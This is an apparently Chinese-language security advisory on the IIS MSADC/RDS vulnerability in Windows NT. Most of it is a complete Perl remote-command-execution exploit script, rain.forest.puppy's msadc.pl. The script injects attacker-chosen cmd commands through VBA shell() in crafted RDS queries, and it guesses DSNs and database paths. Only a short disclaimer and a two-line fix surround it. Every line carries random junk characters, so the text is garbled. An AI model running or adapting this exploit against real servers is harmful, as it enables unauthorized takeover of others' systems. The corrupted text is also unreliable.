IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
2ci[L:U Y O&@ 涉及程序:
]n}aePl}oU Microsoft NT server
SP.k]@P 0RgE~x!hI 描述:
:er(YWF: 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
F%P"T%| ,R.rxoO 详细:
gu|=uW K 如果你没有时间读详细内容的话,就删除:
xqs ,4bcbY c:\Program Files\Common Files\System\Msadc\msadcs.dll
ox*1F+Xri 有关的安全问题就没有了。
.exBU1Yk@ uP G\1 微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。
>$,P )cB' .d I".L 1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。
#lR-?Uh 关于利用ODBC远程漏洞的描述,请参看:
oz:"w
nX #/_{(P http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm P?p]sLrP |M`'
2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看
I3HO><of http://www.microsoft.com/security/bulletins/MS99-025faq.asp #N"m[$;QR t W+"/<U 这里不再论述。
\HXq~Y zZ6m`]{B9? 3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似:
eSQkW d~ +(g! /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
EHN(K- 的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!!
OClG dFJ| NOg/rDs'{ 0<7sM#sI! #将下面这段保存为txt文件,然后: "perl -x 文件名"
auga`* _3(rwD #!perl
!wN2BCSY@ #
\3OEC` # MSADC/RDS 'usage' (aka exploit) script
Ge_fU'F #
Q3Pu<j}Y # by rain.forest.puppy
URceq2_ #
yDfH`]i)U # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
nNq<x^@83 # beta test and find errors!
l`.z^+!8@ KLvAe>#, use Socket; use Getopt::Std;
p[w! SR%= getopts("e:vd:h:XR", \%args);
LN~mKoW d?&`ZVl print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
.W^B(y(tA 7HkFDI()1 if (!defined $args{h} && !defined $args{R}) {
}f;WYz 5 print qq~
:.4O
Hp1 Usage: msadc.pl -h <host> { -d <delay> -X -v }
T%%
0W J -h <host> = host you want to scan (ip or domain)
9dq"x[ -d <seconds> = delay between calls, default 1 second
6@TU9AZS` -X = dump Index Server path table, if available
A|GtF3:G -v = verbose
8tQ;N' -e = external dictionary file for step 5
XwUa|"X6 -'Ay(h Or a -R will resume a command session
rRg,{:;A u$yXuFj/ ~; exit;}
Vbt!, 2_) f";pfu_FZ $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
[I=|"Ic~ if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
H1f='k]SZ if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
w i[9RD@ if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
i,h 30J $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
FY^2 Y if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
Q66 + OHi.5 ( if (!defined $args{R}){ $ret = &has_msadc;
tPl 4'tW_ die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
#B<EMGH }[Z'Sg]s print "Please type the NT commandline you want to run (cmd /c assumed):\n"
-=nk,cYn . "cmd /c ";
u"q56}Q?] $in=<STDIN>; chomp $in;
vP x/&x $command="cmd /c " . $in ;
~v%6*9 u8T@W}FX if (defined $args{R}) {&load; exit;}
uLafO=Q 1l$2T
y+
= print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
(IBT|K &try_btcustmr;
QuqznYSY{ dpTsTU!\ print "\nStep 2: Trying to make our own DSN...";
I%u 2 ce &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
"Yh;3tI4* .6P.r} print "\nStep 3: Trying known DSNs...";
wn.~Dx &known_dsn;
gE _+r n9xP8<w8
print "\nStep 4: Trying known .mdbs...";
=nHKTB> &known_mdb;
[02rs@c> <mQXS87 if (defined $args{e}){
sSZ)C|Q print "\nStep 5: Trying dictionary of DSN names...";
gYD1A\ &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
`wXK&R<` ]:OrGD" print "Sorry Charley...maybe next time?\n";
_;BwP exit;
d
#1Y^3n sSh{.XuB+3 ##############################################################################
sqrLys_S l::q
F 0 sub sendraw { # ripped and modded from whisker
^K;k4oK sleep($delay); # it's a DoS on the server! At least on mine...
sFc \L9 4 my ($pstr)=@_;
0n{.96r0R socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
RNi%6A1 die("Socket problems\n");
Fp/{L if(connect(S,pack "SnA4x8",2,80,$target)){
N[po)}hp select(S); $|=1;
k5I;Y:~` print $pstr; my @in=<S>;
d.FU))lmD select(STDOUT); close(S);
x="Wqcnj{ return @in;
B+K6(^j,,y } else { die("Can't connect...\n"); }}
<Z]#vrq /~Y\KOH| ##############################################################################
r,Uk)xa/^ !?nbB2, sub make_header { # make the HTTP request
q#tUDxf(| my $msadc=<<EOT
)O]6dd POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
'{"Rjv7 User-Agent: ACTIVEDATA
QWk3y"5n< Host: $ip
}T@=I&g; Content-Length: $clen
I/`"lAFe Connection: Keep-Alive
U05;qKgkDF Q#\Nhc ADCClientVersion:01.06
Ca|egQv Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
8M99cx*K 8:$h&aBI --!ADM!ROX!YOUR!WORLD!
jVQy{8{G Content-Type: application/x-varg
6Ijt2c'A} Content-Length: $reqlen
Wef%f]u B&]`OO>O EOT
k7^hcth ; $msadc=~s/\n/\r\n/g;
fB8, )& return $msadc;}
AJ\&>6GZ(b JT?u[pQ^ ##############################################################################
zMsup4cl N&HI)X2& sub make_req { # make the RDS request
%L=e%E=m my ($switch, $p1, $p2)=@_;
o;$xN3f, my $req=""; my $t1, $t2, $query, $dsn;
A7%d ;7'O=% if ($switch==1){ # this is the btcustmr.mdb query
KqK]R6> $query="Select * from Customers where City=" . make_shell();
Ymz/: $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
YzESVTh $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
l7|z]v- fz(YP=@ZnP elsif ($switch==2){ # this is general make table query
XQo\27Fo $query="create table AZZ (B int, C varchar(10))";
;|q<t $dsn="$p1";}
ANhqS iXDG-_K elsif ($switch==3){ # this is general exploit table query
32wtN8kx $query="select * from AZZ where C=" . make_shell();
S(gr>eC5 $dsn="$p1";}
cnu&!>8V -c_l
n K elsif ($switch==4){ # attempt to hork file info from index server
AY /9Io- $query="select path from scope()";
.KrLvic $dsn="Provider=MSIDXS;";}
danPy2 rtj/&> elsif ($switch==5){ # bad query
)x6&Y $query="select";
dKzG,/1W[m $dsn="$p1";}
@IL04' \ wlXs/\es $t1= make_unicode($query);
"t0^4=c+7 $t2= make_unicode($dsn);
\u,CixV= $req = "\x02\x00\x03\x00";
Db|f"3rq? $req.= "\x08\x00" . pack ("S1", length($t1));
$e\s8$EO $req.= "\x00\x00" . $t1 ;
sY;h~a0n $req.= "\x08\x00" . pack ("S1", length($t2));
Uu_qy(4 $req.= "\x00\x00" . $t2 ;
0~U#DTx0 $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
\D@j`o return $req;}
#Zdh<. 5i[O\@]5 ##############################################################################
&W45.2 r8EJ@pOF2w sub make_shell { # this makes the shell() statement
Jh-yIk return "'|shell(\"$command\")|'";}
E=I'$*C\D ]3 "0#Y ##############################################################################
w){B$X xrf|c sub make_unicode { # quick little function to convert to unicode
[U&k"s? my ($in)=@_; my $out;
.RroO_H
for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
7h\is return $out;}
SY,ns*>1F &]TniQH ##############################################################################
tK3$,9+ > "hP sub rdo_success { # checks for RDO return success (this is kludge)
\l/(L5gY my (@in) = @_; my $base=content_start(@in);
jwI2T$ if($in[$base]=~/multipart\/mixed/){
BZ?w}%-MO return 1 if( $in[$base+10]=~/^\x09\x00/ );}
JN8Rh return 0;}
tj;47UtH G#%Sokkb' ##############################################################################
& DP"RWT/ TCp9C1Q4 sub make_dsn { # this makes a DSN for us
\l!+l my @drives=("c","d","e","f");
/nO_e print "\nMaking DSN: ";
S)EF&S(TC foreach $drive (@drives) {
<V^o.4mOg> print "$drive: ";
sVh)Ofn my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
OLx;j+p
"Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
}ILBX4c . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
*$9U/ d $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
#6M |T+= return 0 if $2 eq "404"; # not found/doesn't exist
5Ew( 0K[ if($2 eq "200") {
K@p9_K8 foreach $line (@results) {
^]o
H}lwO return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
_WS8I> } return 0;}
-53c0g@X lat5n&RP Y ##############################################################################
n.l#(`($4 /`m*PgJ sub verify_exists {
JZ}zXv my ($page)=@_;
Q&I # my @results=sendraw("GET $page HTTP/1.0\n\n");
?=7k<a~ return $results[0];}
6w%n$tiX z?DCQ ##############################################################################
aj4ZS "}X+vd`` sub try_btcustmr {
vd%AV(]<LJ my @drives=("c","d","e","f");
"nz\YQdg my @dirs=("winnt","winnt35","winnt351","win","windows");
8=D,`wog F > rr. foreach $dir (@dirs) {
dQ*^WNUB print "$dir -> "; # fun status so you can see progress
N8nt2r<h foreach $drive (@drives) {
UlWmf{1%]? print "$drive: "; # ditto
9,8/DW.K $reqlen=length( make_req(1,$drive,$dir) ) - 28;
eBa#Z1Z $reqlenlen=length( "$reqlen" );
]WNY"B>+ $clen= 206 + $reqlenlen + $reqlen;
lW"0fZ_x'E ,=e.QAF!" my @results=sendraw(make_header() . make_req(1,$drive,$dir));
N_92,xI# if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
{`):X _$T else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
fgqCX:SWz jTS8
qu ##############################################################################
k;cIEEdZD |dxWO sub odbc_error {
?n#$y@U my (@in)=@_; my $base;
3[Q7'\ my $base = content_start(@in);
E,d<F{=8,o if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
W$X/8K bn $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
%f CkR`: $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
>K'dgJ245 $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
<<-L,0 return $in[$base+4].$in[$base+5].$in[$base+6];}
`Ij EwKra print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
S0StC$$1 print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
Ab[o~X" $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
U?dad}7 `Hw][qy# ##############################################################################
[.&JQ 5BA:^4zr? sub verbose {
g(zeOS]q} my ($in)=@_;
9qDM0'WuU return if !$verbose;
u"zR_CzYc print STDOUT "\n$in\n";}
#6a!OQj l[~$9C'ji ##############################################################################
ZklO9Ox( i+(>w'=m sub save {
kMW9UUw my ($p1, $p2, $p3, $p4)=@_;
u3Z]!l open(OUT, ">rds.save") || print "Problem saving parameters...\n";
[f:&aS+ print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
~rb]u
Ny- close OUT;}
Qq6'[Od PK|qiu-O&* ##############################################################################
bLS10^g5 q0q-Coh> sub load {
?Sh"%x my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";
)o:sDj`b] open(IN,"<rds.save") || die("Couldn't open rds.save\n");
8N)Lck2PR @p=<IN>; close(IN);
Cgln@Rz $ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);
G(?1 Urxi $target= inet_aton($ip) || die("inet_aton problems");
`StuUa print "Resuming to $ip ...";
l1kHFeq $p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g;
v6G1y[Wl if($p[1]==1) {
W;8A{3q%N0 $reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28;
8a)4>B $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen;
9_==C"F my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]"));
]O}e{Q> if (rdo_success(@results)){print "Success!\n";}
XzIC~} else { print "failed\n"; verbose(odbc_error(@results));}}
%h(%M'm? elsif ($p[1]==3){
MtwlZg`c3 if(run_query("$p[3]")){
9:g A0Z print "Success!\n";} else { print "failed\n"; }}
_1RvK? ;.{ elsif ($p[1]==4){
J;<dO7 j5 if(run_query($drvst . "$p[3]")){
fn/?I\ print "Success!\n"; } else { print "failed\n"; }}
,){#J"W exit;}
X*MK(aV3 iOIq2&sV ##############################################################################
4<tbZP3/6) MA_YMxP.' sub create_table {
M._E$y,5 my ($in)=@_;
[(a3ljbRX $reqlen=length( make_req(2,$in,"") ) - 28;
..h@QQ $reqlenlen=length( "$reqlen" );
=}tomN(F~[ $clen= 206 + $reqlenlen + $reqlen;
(`slC~" my @results=sendraw(make_header() . make_req(2,$in,""));
E,\)tZ;, return 1 if rdo_success(@results);
Id^q!4Th9 my $temp= odbc_error(@results); verbose($temp);
S]=.p-Am return 1 if $temp=~/Table 'AZZ' already exists/;
S0OL;[*. return 0;}
p2(ha3PW fJ\?+, ##############################################################################
NRG06M q_^yma sub known_dsn {
$Tv~ *|a # we want 'wicca' first, because if step 2 made the DSN, it's ready to go
,d*1|oUw my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications",
mW {uChHP "cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM",
$,O8SW.O$ "banner", "banners", "ads", "ADCDemo", "ADCTest");
94O\M
RQ* Z,AY<[/C foreach $dSn (@dsns) {
OLt0Q.{ print ".";
@f"[*7Q`/ next if (!is_access("DSN=$dSn"));
BPkL3Ev1V if(create_table("DSN=$dSn")){
-rYb{<;ST print "$dSn successful\n";
U/PNEGuQ if(run_query("DSN=$dSn")){
}|/A &c print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
Z # print "Something's borked. Use verbose next time\n";}}} print "\n";}
6:S,
{@G MCTJ^ g"D ##############################################################################
I9L3Y@(f6m T^MY w sub is_access {
UrciCOQf my ($in)=@_;
g]JJ!$*1 $reqlen=length( make_req(5,$in,"") ) - 28;
Z" H; t\P $reqlenlen=length( "$reqlen" );
r[^.\&- $clen= 206 + $reqlenlen + $reqlen;
._>03, " my @results=sendraw(make_header() . make_req(5,$in,""));
u0<yGsEGD my $temp= odbc_error(@results);
|AE{rvP{@ verbose($temp); return 1 if ($temp=~/Microsoft Access/);
byE0Z vDM return 0;}
LH}9&FfjU VJw7defc ##############################################################################
;X]B0KFe7 I)#8}[vK sub run_query {
<sm"3qs"_ my ($in)=@_;
vO$cF* $reqlen=length( make_req(3,$in,"") ) - 28;
m;4ti9 $reqlenlen=length( "$reqlen" );
ceJ#>Rj $clen= 206 + $reqlenlen + $reqlen;
"9^b1UH< my @results=sendraw(make_header() . make_req(3,$in,""));
:sK4mR F return 1 if rdo_success(@results);
s*
u1n+Zq my $temp= odbc_error(@results); verbose($temp);
ZJcX-Z!\ return 0;}
(
./MFf lijTL-3 ##############################################################################
_:NQF7X#ug "CC"J(&a sub known_mdb {
8pA<1H% my @drives=("c","d","e","f","g");
[*It' J^ my @dirs=("winnt","winnt35","winnt351","win","windows");
55ec23m my $dir, $drive, $mdb;
*-fd$l. my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq=";
a+J> 0+1!-Wo # this is sparse, because I don't know of many
Xu~N97\G my @sysmdbs=( "\\catroot\\icatalog.mdb",
L ?;UcCB "\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb",
Kyk{:UnI "\\system32\\certmdb.mdb",
ZY7-. "\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot%
%E#Ubm! *7Y#G8 s my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb",
"8uNa "\\cfusion\\cfapps\\forums\\forums_.mdb",
p*g)-/mA "\\cfusion\\cfapps\\forums\\data\\forums.mdb",
451.VI}MR "\\cfusion\\cfapps\\security\\realm_.mdb",
68bvbig "\\cfusion\\cfapps\\security\\data\\realm.mdb",
ny+r>>3Td "\\cfusion\\database\\cfexamples.mdb",
mzM95yQ^Z "\\cfusion\\database\\cfsnippets.mdb",
<]%6x[ "\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb",
%U}6(~
"\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb",
jK/FzD0- "\\cfusion\\brighttiger\\database\\cleam.mdb",
x
~)~v?>T "\\cfusion\\database\\smpolicy.mdb",
/>8A?+g9u "\\cfusion\\database\cypress.mdb",
"3]}V=L<5 "\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb",
u"oO._a(
"\\website\\cgi-win\\dbsample.mdb",
e(^I.`9z "\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb",
MC,Qv9m "\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb"
u/|@iWK: ); #these are just
b'SP,}s5" foreach $drive (@drives) {
Kv1~,j6 foreach $dir (@dirs){
zRLJ|ejMP foreach $mdb (@sysmdbs) {
;CS[Ja>e print ".";
QGOkB if(create_table($drv . $drive . ":\\" . $dir . $mdb)){
EpR n,[ print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n";
QPLWRZu@ if(run_query($drv . $drive . ":\\" . $dir . $mdb)){
h]~FYY print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit;
aqqo>O3 s } else { print "Something's borked. Use verbose next time\n"; }}}}}
%X\A|V& R0#scr foreach $drive (@drives) {
@$5~`? foreach $mdb (@mdbs) {
W{q
P/R print ".";
R#ZJLT if(create_table($drv . $drive . $dir . $mdb)){
/>I5,D'h print "\n" . $drive . $dir . $mdb . " successful\n";
6y
Muj<L if(run_query($drv . $drive . $dir . $mdb)){
'3^ qW print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit;
RAhDSDf } else { print "Something's borked. Use verbose next time\n"; }}}}
Wz R)R9x] }
4?@#w>( |[5;dt_U/ ##############################################################################
2
KHT!ik oI`Mn3N sub hork_idx {
1; kMbl] print "\nAttempting to dump Index Server tables...\n";
OW=3t#"7Kp print " NOTE: Sometimes this takes a while, other times it stalls\n\n";
g8'8"9:xC $reqlen=length( make_req(4,"","") ) - 28;
"]p&7 $reqlenlen=length( "$reqlen" );
DFZ@q=ZT $clen= 206 + $reqlenlen + $reqlen;
w0nbL^f my @results=sendraw2(make_header() . make_req(4,"",""));
!D{z. KO if (rdo_success(@results)){
}m?Ut| my $max=@results; my $c; my %d;
=ZU!i0
K for($c=19; $c<$max; $c++){
W\Sc ak> $results[$c]=~s/\x00//g;
a]P%Y.?r $results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g;
<4;,
y*"n $results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g;
bp?TO]LH $results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/;
KK>jV $d{"$1$2"}="";}
W!.FnM5x foreach $c (keys %d){ print "$c\n"; }
}oG6XI9 } else {print "Index server doesn't seem to be installed.\n"; }}
,#;`f=aqTG oF+yh!~mM ##############################################################################
UJp'v_hN D?S|]]Y!q sub dsn_dict {
c8 open(IN, "<$args{e}") || die("Can't open external dictionary\n");
&@|? % while(<IN>){
paN=I=:*M $hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print ".";
&-^*D%9 next if (!is_access("DSN=$dSn"));
(DvGA I if(create_table("DSN=$dSn")){
NRG~ya > print "$dSn successful\n";
"38<14V if(run_query("DSN=$dSn")){
6ZI7V!k print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
gU&+^e > print "Something's borked. Use verbose next time\n";}}}
2<n18-|OQ print "\n"; close(IN);}
OPq|4xu ,-EN{ed ##############################################################################
Brs} >m%TUQ#% sub sendraw2 { # ripped and modded from whisker
't8!.k sleep($delay); # it's a DoS on the server! At least on mine...
k:~UBs\)( my ($pstr)=@_;
/o6ido socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
E>*b,^J7g die("Socket problems\n");
b0h\l#6 if(connect(S,pack "SnA4x8",2,80,$target)){
[X@{xF^vBQ print "Connected. Getting data";
af6<w.i open(OUT,">raw.out"); my @in;
CiHx.5TiC select(S); $|=1; print $pstr;
#WG;p(?: while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";}
3K~^H1l close(OUT); select(STDOUT); close(S); return @in;
u w8g% } else { die("Can't connect...\n"); }}
pcOi%D,o AriV4 + ##############################################################################
Citumc)E $X.F=Kv sub content_start { # this will take in the server headers
?XyrG1(' my (@in)=@_; my $c;
}lPWA/ for ($c=1;$c<500;$c++) {
#<&@-D8 if($in[$c] =~/^\x0d\x0a/){
xZ2 1iQeN if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; }
$?:IRgAr else { return $c+1; }}}
.@mZG<vg return -1;} # it should never get here actually
s/~[/2[bnf ?
B|i ##############################################################################
zn= pm#L t W sub funky {
s2N'Ip my (@in)=@_; my $error=odbc_error(@in);
q2*)e/}H if($error=~/ADO could not find the specified provider/){
@pv:uON\ print "\nServer returned an ADO miscofiguration message\nAborting.\n";
Qz{Vl>" exit;}
BSSehe* if($error=~/A Handler is required/){
a8[%-eW, print "\nServer has custom handler filters (they most likely are patched)\n";
n 78!]O exit;}
(kK8
Ox fF if($error=~/specified Handler has denied Access/){
*Z.{1 print "\nServer has custom handler filters (they most likely are patched)\n";
f]Aa$\@b exit;}}
j;j~R3B fWfhs}_
##############################################################################
13 JG[,w ;2fzA<RkK sub has_msadc {
K]>4*)A: my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n");
u\xrC\Ka my $base=content_start(@results);
G5 )"%G. return 1 if($results[$base]=~/Content-Type: application\/x-varg/);
c??m9=OX1 return 0;}
Jq>5:"jZ0 fIx|0,D&7L ########################
h;}
fdk ZZ!6O /M \KpJIHkBRy 解决方案:
O@HD' 1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll
w\Q(wH' 2、移除web 目录: /msadc